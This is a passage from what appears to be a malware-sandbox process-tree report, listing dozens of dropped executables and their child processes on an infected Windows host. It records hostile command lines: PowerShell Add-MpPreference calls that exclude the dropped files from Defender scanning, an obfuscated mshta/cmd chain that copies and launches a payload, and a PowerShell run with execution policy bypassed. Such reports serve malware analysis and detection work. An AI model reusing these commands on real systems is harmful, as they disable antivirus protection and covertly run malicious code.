    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22396
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21148
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21900
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23084
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20180
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22892
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23464
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22952
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22656
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22556
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23020
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23936
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24316
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24516
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23768
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24184
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21824
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21780
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24284
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24052
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24612
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25000
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25292
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25584
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24716
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25512
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22680
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24916
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:23652
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25700
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25992
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26292
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26588
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26164
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:2044
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25624
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19240
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:24984
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14340
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4028
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25032
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26964
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:27228
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:27468
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25444
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:27148
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26784
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:1092
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:25740
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22080
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:27372
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:26636
- C:\Users\Admin\Documents\hUzIxevvvTToMDgQNXDVnkP3.exe
  "C:\Users\Admin\Documents\hUzIxevvvTToMDgQNXDVnkP3.exe"
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe
  "C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe"
  2⤵
  - Executes dropped EXE
  PID:2192
- - C:\Users\Admin\AppData\Local\Temp\b31e8b87-de7d-4741-b156-ec2cf2b2bf12\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\b31e8b87-de7d-4741-b156-ec2cf2b2bf12\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b31e8b87-de7d-4741-b156-ec2cf2b2bf12\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:4960
  - - C:\Users\Admin\AppData\Local\Temp\b31e8b87-de7d-4741-b156-ec2cf2b2bf12\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\b31e8b87-de7d-4741-b156-ec2cf2b2bf12\AdvancedRun.exe" /SpecialRun 4101d8 4960
      4⤵
      PID:7508
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe" -Force
    3⤵
    PID:7428
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\dLsg5Znfx_L5WPyNmYmzH7OR.exe" -Force
    3⤵
    PID:7512
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7568
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    3⤵
    PID:8068
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    3⤵
    PID:4960
- C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe
  "C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"
  2⤵
  PID:2872
- - C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe
    "C:\Users\Admin\Documents\feldwAVG4i_tiqBwf36LhZEJ.exe"
    3⤵
    - Executes dropped EXE
    PID:5868
- C:\Users\Admin\Documents\bmiqqJ8H5xcXKVa5DjWR00JJ.exe
  "C:\Users\Admin\Documents\bmiqqJ8H5xcXKVa5DjWR00JJ.exe"
  2⤵
  - Executes dropped EXE
  PID:2232
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\BMIQQJ~1.DLL,s C:\Users\Admin\DOCUME~1\BMIQQJ~1.EXE
    3⤵
    - Loads dropped DLL
    PID:6500
  - - C:\Windows\SysWOW64\RUNDLL32.EXE
      C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\BMIQQJ~1.DLL,jlszcjZtU1g=
      4⤵
      PID:9720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\BMIQQJ~1.DLL
        5⤵
        
        PID:10844
    - - C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\BMIQQJ~1.DLL,bkkk
        5⤵
        
        PID:12292
      - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 17897
        6⤵
        
        PID:13152
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        7⤵
        
        PID:12320
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp7C1E.tmp.ps1"
        5⤵
        
        PID:13572
- C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe
  "C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"
  2⤵
  - Executes dropped EXE
  PID:3560
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF """" == """" for %Q in ( ""C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )
    3⤵
    PID:3736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "" == "" for %Q in ("C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe" ) do taskkill -F -im "%~NxQ"
      4⤵
      PID:4972
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6924
    - - C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE
        
        BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1
        5⤵
        
        PID:7320
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF ""-PyTJSIPDC12bsxp0f1 "" == """" for %Q in ( ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )
        6⤵
        
        PID:5584
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "-PyTJSIPDC12bsxp0f1 " == "" for %Q in ("C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" ) do taskkill -F -im "%~NxQ"
        7⤵
        
        PID:11456
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\BPJm7xC.Iwa,Rgac
        6⤵
        
        PID:10808
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F -im "KA2ranqykrurhVMmCHKquiPB.exe"
        5⤵
        Executes dropped EXE
        Kills process with taskkill
        
        PID:3980
- C:\Users\Admin\Documents\1aWgGudHjeVdKASy1v4R_Rou.exe
  "C:\Users\Admin\Documents\1aWgGudHjeVdKASy1v4R_Rou.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:2160
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    - Executes dropped EXE
    PID:5292
- - C:\Program Files (x86)\Company\NewProduct\inst1.exe
    "C:\Program Files (x86)\Company\NewProduct\inst1.exe"
    3⤵
    - Executes dropped EXE
    PID:5388
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:4840
- C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe
  "C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- - C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe
    "C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"
    3⤵
    - Executes dropped EXE
    PID:5948
- - C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe
    "C:\Users\Admin\Documents\6EMgu9usQL9MfFo42L1Fletk.exe"
    3⤵
    - Executes dropped EXE
    PID:5916
- C:\Users\Admin\Documents\gDjjdK7qSAnEWFHdEDUeeLHD.exe
  "C:\Users\Admin\Documents\gDjjdK7qSAnEWFHdEDUeeLHD.exe"
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Users\Admin\Documents\Sq13NJutwTBFI4zAToXltQuE.exe
  "C:\Users\Admin\Documents\Sq13NJutwTBFI4zAToXltQuE.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:4012
- C:\Users\Admin\Documents\QvnbKwZmuKVX07R25cIlUQLX.exe
  "C:\Users\Admin\Documents\QvnbKwZmuKVX07R25cIlUQLX.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Users\Admin\Documents\2gCS3jN3Q6FLb49kwTO8ugQI.exe
  "C:\Users\Admin\Documents\2gCS3jN3Q6FLb49kwTO8ugQI.exe"
  2⤵
  - Executes dropped EXE
  PID:3544
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
    3⤵
    PID:5920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:7576
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 248
      4⤵
      Program crash
      PID:6060
- C:\Users\Admin\Documents\EjvAoMujpF2WhWdp6DxmP7Hj.exe
  "C:\Users\Admin\Documents\EjvAoMujpF2WhWdp6DxmP7Hj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3444
- C:\Users\Admin\Documents\ZDj9euTac4ji2IjPYiofbB94.exe
  "C:\Users\Admin\Documents\ZDj9euTac4ji2IjPYiofbB94.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3244
- C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe
  "C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:632
- - C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe
    "C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"
    3⤵
    PID:7040
- - C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe
    "C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"
    3⤵
    PID:7064
- C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
  "C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:504
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:4904
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:2564
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:4204
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:4524
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:5212
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:5496
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:580
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:5840
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    - Executes dropped EXE
    PID:4056
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:5104
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4236
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6180
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6436
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6784
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7108
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6356
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4136
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:5976
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:4612
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:3148
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3148 -s 160
      4⤵
      Program crash
      PID:7432
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7376
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7860
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7348
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8080
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7896
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:7084
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8420
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8764
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9168
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:8336
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:2560
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:1792
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:1440
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:5288
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:6444
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9484
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
